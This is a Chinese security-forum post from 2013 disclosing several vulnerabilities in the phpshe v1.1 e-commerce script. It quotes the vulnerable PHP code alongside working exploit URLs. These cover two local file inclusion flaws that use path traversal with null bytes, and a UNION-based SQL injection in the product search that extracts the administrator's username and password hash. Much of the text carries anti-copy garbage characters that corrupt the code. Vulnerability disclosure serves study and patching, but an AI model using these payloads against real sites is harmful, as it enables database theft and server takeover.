找回密码
 立即注册
查看: 3159|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-16 16:45:03 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
/*******************************************************/
& t) D5 y" [# |5 M/ q( m3 p/* Phpshe v1.1 Vulnerability7 z+ ^2 f; d! z" ~; ?2 J# o9 n
/* ========================
6 d( _  w* d' {1 m( J/* By: : Kn1f3
" V* d& T/ V5 @- z  H/* E-Mail : 681796@qq.com
* r8 r' g' n  ~/*******************************************************/9 {; N% B0 n8 n' z6 u! n
0×00 整体大概参数传输
: }* _- g9 |+ L 2 D5 @1 `, O8 f6 g/ h  r
8 M4 `6 f* b: ?5 p: M, O3 A% k
7 h4 u& V9 z; T$ A8 W3 Q0 E. P
//common.php
* V! j3 J/ J  z5 p+ fif (get_magic_quotes_gpc()) {8 F8 S; q3 H, d- \1 V
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');9 U2 T# I( i! Y/ C5 w7 N" P
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');0 k* o, ^9 V+ \$ Z  ^* y0 a
}
6 \8 H( M3 T9 c% G* _7 j! Z( M$ Lelse {
3 K; V" a4 C. }; [2 A! ~6 i!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');+ I6 P$ D+ O7 F$ a7 K  [! j
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
0 ^  V1 v; @8 s/ s' x}- P- U& p7 ~: u: H
session_start();
1 E% t% j+ W! M( M) H!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
  i. ]* R* x8 E  H( u8 y!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
1 _! P4 ?3 d) D! {. [7 |3 x* D- f0 _% d3 ^+ j" [
0×01 包含漏洞; `) G) r! J& V- w9 m

/ _: w9 |5 B/ U! t8 A6 o& s- O: z* R
: y; t7 f- R" [7 n
//首页文件1 A9 e1 \0 T% W8 |6 s! G. ?; J1 U! K
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);) n4 L! T3 w* _% {) [
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
7 F) s9 n2 ~! B* b6 K" e* H; c' Npe_result();
$ r3 r1 N# t) d- r% ~& W6 U' w?>3 y0 S; r9 a* d2 A# }$ x7 W: a
//common 文件 第15行开始; C6 }" X! Z' n9 R7 J8 ]
url路由配置
, Y" m0 e$ ~& R. T4 \9 ]6 |! ^$module = $mod = $act = 'index';; Q: c/ z( b9 j5 g5 P
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
- ]' w0 e8 U( @' ]  P2 }6 b$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
* M5 c9 N% P  Y6 H  I$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
0 m3 B) b! P3 x0 @  D//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
- s' \7 G/ L  r6 m5 Q! |


' n2 u- l2 _% e9 U
, s! }7 f7 H# U- W 0×02 搜索注入
* _/ }! f0 U, f8 }6 ~0 [) y& ^ 2 ], J' D& Y/ @8 z* s5 }; |
<code id="code2">

//product.php文件' R# F) D4 E- G  w6 r
case 'list':
3 m9 s0 R: l9 m) ?: B: `# x$category_id = intval($id);1 T. x/ P0 j* P. l4 Y# p
$info = $db->pe_select('category', array('category_id'=>$category_id));# L7 A2 v" _! {: Q) [
//搜索
* E4 x8 Y/ @; R' \8 ]% Q9 J$sqlwhere = " and `product_state` = 1";$ Y8 t6 ^# J" O9 u3 ^  x
pe_lead('hook/category.hook.php');& u7 s$ b. v/ ~5 N. J
if ($category_id) {& O2 M: \) ~4 k
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
- s$ K; O. u+ F4 _}
( G3 r" e$ s, L0 S% f$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
) J9 M' N" t" k. T: o, Wif ($_g_orderby) {. J2 `# [# w7 b% f( R& \
$orderby = explode('_', $_g_orderby);
4 u7 A3 v6 [! U6 y# y* |$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
$ B0 ]4 w6 i" x7 B* M) q}
* U0 h1 M3 m. n; A) [, y/ W) {5 @else {
* O2 \4 v7 y# W5 d1 w, E$sqlwhere .= " order by `product_id` desc";
0 _5 H4 i; J2 J9 c) W' v}
' \# o+ g+ D6 k$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));5 C7 L% w; l- ]1 P# ?$ M
//热卖排行
$ m$ L+ x. e0 i4 z7 f: n1 M+ L$product_hotlist = product_hotlist();; y  A7 W2 b8 |" I
//当前路径# v# X: t7 D! z: W2 C2 l6 f6 Y
$nowpath = category_path($category_id);8 p% N6 W" L* d* p, l! `
$seo = pe_seo($info['category_name']);+ G: E! J* p: O/ K2 a6 p; f
include(pe_tpl('product_list.html'));* p: D- A- t+ @' v- o, u& l
//跟进selectall函数库8 U0 S  q% L& k- m2 i
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())) _2 l; x# o+ n+ |. @' N( d/ V
{
, T0 ^3 j' }: J- M//处理条件语句" c; C2 g8 O  h6 c6 N7 _! o2 x% E
$sqlwhere = $this->_dowhere($where);$ I8 g2 a& q+ e; q& j
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
- n8 D& H- j4 ^! k0 W6 m+ O}0 l0 c. O/ z8 ~
//exp; P: ], p7 [1 c: `9 M7 L; i
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
, @: T6 }7 J0 a2 _2 F6 j

</code>% J' [8 h) L$ K# i" }4 X& A

& [# V0 S: ^$ T. E8 K0×03 包含漏洞2
: U$ e2 u, t7 y  c1 ~& |9 m & ]0 Y5 G/ X8 R9 l% J4 b1 B. T
<code id="code3">

//order.php

case 'pay':

7 \/ T, b5 T; f
$order_id = pe_dbhold($_g_id);


- g. s" B" p5 ]8 J$cache_payway = cache::get('payway');


/ y# J: s5 B; X2 N* x' Cforeach($cache_payway as $k => $v) {


# Y! E/ [1 D( @, w2 k: s5 K7 c$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

  U8 q9 I" Q8 |7 T6 A
if ($k == 'bank') {


7 A- a; x6 Q& u9 g$ p$ j, H" e$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

, y9 H( [( S, ]" u: g
}


( _- s0 |! B6 M# ~. ^5 g7 p}

2 b. T1 S1 M( x5 y5 c8 C
$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

, U- c$ y* Y! M5 o
!$order['order_id'] && pe_error('订单号错误...');

( }1 B' t8 z% i0 ~1 d* g! a9 ~1 |
if (isset($_p_pesubmit)) {

( `- I& c2 w; Z" d4 ~
if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {


5 q! ^8 K' u  V- i  [  h' H0 H6 U$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

# I+ A: Z( o9 i" F; A
foreach ($info_list as $v) {


/ {3 Y# K0 z- b; j+ N$order['order_name'] .= "{$v['product_name']};";
' N7 w$ C% l5 l2 A% q- ^

( B+ t. Q  ^+ v! S* N( c
}

" l7 N9 m; U( P3 `$ J" |
echo '正在为您连接支付网站,请稍后...';


1 k% `* f& m9 Cinclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");


  G( E" ]: |! v% e3 G2 x+ p}//当一切准备好的时候就可以进行"鸡肋包含了"

. [, j5 @" I& A: G
else {


# W8 [% _) G+ d) N( z5 Ope_error('支付错误...');

+ @* D. l( ?: A% s% z
}


' v; A$ v/ W- B}


) w, U9 z2 M4 F& K$seo = pe_seo('选择支付方式');


" S: n( A. k) O3 L+ \include(pe_tpl('order_pay.html'));


8 ]5 |0 [4 i& y+ Mbreak;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
; _9 o! i+ h3 E" H6 Hhttp://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表